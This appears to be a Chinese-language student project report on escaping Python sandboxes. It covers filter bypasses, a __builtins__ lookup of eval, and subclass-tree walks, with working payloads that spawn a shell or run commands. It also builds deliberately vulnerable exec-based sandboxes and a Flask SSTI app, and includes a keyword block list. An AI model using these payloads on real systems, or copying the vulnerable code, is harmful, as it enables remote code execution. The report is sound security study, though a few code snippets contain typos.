# 電腦攻擊與防禦 projrct2-Python Sandbox Escape
###### tags: `project`
## 107201017莫耀智 107201019陳宇揚 107201023 蔡沐霖
## Sandbox 介紹及攻擊目的
### 甚麼是沙盒
這裡所說的`sandbox`是類似一些網站提供線上`Python`指令碼執行或者是可以讓使用著輸入的地方,而又不想使用者直接使用`Python`執行系統命令對系統造成危害,而對`Python`的一個簡化版本。被簡化的版本刪去了命令執行,伺服器檔案讀寫等相關函式或檔案,如`import os command`等。
### 攻擊方法
在攻擊時須注意`python`的版本,每個版本的指令及類項位置不一定相同,如`python2.x`、`python3.x`的`print`指令並不相同。
如果沒有對`python`進行濾字,則使用者就可以進行RCE攻擊,如輸入以下程式碼就可以查看本機端資料
```python=
import os
os.system('ls')
```
因此如果輸入 `import os`無法執行代表說系統有擋掉 `import` 或 `os` `command` 等字元,那遇到這種狀況又如何攻擊呢?
#### 過濾字元
若系統擋掉 `exec` `'open` `'file` `'execfile` `import` `eval` `input` `hacker` 等字元,則會面臨無法載入任何套件,可以使用`__import__`動態載入,效果等同於上段程式碼。
##### 方法一:
```python=
res=__import__("o"+"s")
res.system('ls')
```
也可以使用加密的方式來繞過字串判定
##### 方法二
```python==
codecs=__import__("codecs")
res=__import__(codecs.decode("bf","rot_13"))
res.system('ifconfig')
```
#### 動態載入
__import__() 函式用於動態載入類和函式 。
如果一個模組經常變化就可以使用 __import__() 來動態載入。
語法: `__import__(name, globals=None, locals=None, fromlist=(), level=0)`
使用方法:函式功能用於動態的匯入模組,主要用於反射或者延遲載入模組。
``` python=
#reflect.py
print ('reflect')
def hello():
print("hello I'm reflect.py")
```
```python=
#mian.py
print ('main')
reflect = __import__('reflect')
dir(reflect)
index.hello()
```
結果:
```
main
reflect
hello I'm reflect.py
```
#### 預先載入
`python`有許多保留字元,就放在`__builtins__`模塊裡面,可以利用`dir()`來查看,若`dir()`內沒有參數,就會顯示目前環境的所有套件,若有顯示參數,則會顯示該參數的屬性`attribute`
```python=
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__']
>>> dir('__builtins__')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
```
我們可以在`__builtins__.__dict__`中找到`eval`等`function`,因此可以使用以下方法繞過
```python=
__builtins__.__dict__['ev'+'al']("__import__('os').system('ls')")
```
如果系統中預先把危險的函數直接刪除,如以下程式碼。
```python=
del builtins.dict['eval']
del builtins.dict['exec']
```
在`python2`中使用`reload(__builtins__)`可以重新下載`__builtins__`函數。在`python3`無法做到,但可以利用繼承樹的方式進行操作。
#### 根物件與繼承樹
在`pytohn`中 `__class__`可以回傳引數型別,`__base__`可以回傳基類,`__mro__`回傳繼承數,`__subclasses__()`回傳所有子類。而`python`所有物件都是繼承於`object`這個類,因此利用`python`中預先`import`的變數(類)來使用可以拿到一些敏感資訊。
```python=
>>> [].__class__
<class 'list'>
>>> [].__class__.base__
<class 'object'>
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> [].__class__.__mro__[1]
<class 'object'>
>>> [].__class__.__base__.__subclasses__() or [].__class.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>,...]
```
在`python3.7.7`可以找到在第129個位置有一個`<class 'os._wrap_close'>` 神奇物件可以使用,因此可以使用`__globals__`可以將所有變數以`dict`的形式讀出來,因此可以利用`[""]`來找到我們需要的函式如`eval`或`exec`。
```python=
[].__class__.__mro__[1].__subclasses__()[128].__init__.__globals__['__builtins__']['ev'+'al']("__import__('o'+'s').system('ifconfig')")
```
## 實作
自己建立沙盒,在可以讓使用者輸入的程式區塊利用RCE,想辦法拿到電腦控制權(sh),程式碼如下。
### 1.
```python=
def check_string(inp):
block = ['exec','open','file','execfile','import','eval','input','hacker','os']
for s in block:
if s in inp:
raise Exception(s +"是個非法字喔")
while True:
try:
n = input('> ')
check_string(n)
r = None
exec("r=" + n)
if r != None:
print(r)
except Exception as e:
print (e)
```
可以看到程式碼中將`import` `eval`等函式濾掉,因此必須想辦法繞過,可以使用python中內建的builtins來繞過,因此送出已下payload可以繞過字串檢查。
```python
__builtins__.__dict__['ev'+'al']("__impor"+"t__('o'+'s').system('sh')")
```
即可拿到到控制權

### 2
第二個程式碼加入了刪除`open`和`eval`等危險的函式,但因為題目中需用到`exec`因此無法相她刪除,已經是一個漏洞。
```python=
def make_secure():
kill = ['open','eval']
for func in kill:
del __builtins__.__dict__[func]
make_secure()
def check_string(inp):
block = ['exec','open','file','execfile','import','eval','input','hacker','os']
for s in block:
if s in inp:
raise Exception(s +"是個非法字喔")
while True:
try:
n = input('> ')
check_string(n)
r = None
exec("r=" + n)
if r != None:
print(r)
except Exception as e:
print (e)
```
送出 payload
```python
[].__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('calc')
```
即可拿到控制權
### 3
使用 `Flask` 建立 `ssit`模板
```python=
from flask import Flask, render_template_string, config, request
app = Flask(__name__)
@app.route('/')
def index():
name=request.args.get('name')
template = '<h1>hello {}!<h1>'.format(name)
print(template)
return render_template_string(template)
app.run()
```
進入網站可以看到沒有可以輸入的地方,但從程式碼推敲式利用`name`當作`get`變數來印出資料,Jinja2利用`render`輸入製前端時,會將`{{}}`裡的程式碼做解析。

可以看到程式碼什麼都沒有檔,因此可以直接注入程式碼來獲取資訊,可以利用繼承樹的方法來拿到`system`等相關函式如`popen` 。
因此直接輸入payload
```
/?name={{[].__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls").read()}}
```
即可打入網站

## 測試環境
http://140.115.26.32:8880/
## 參考資料
https://github.com/splitline/py-sandbox-escape
https://www.itread01.com/article/1511486352.html
https://marketingliveincode.com/?p=736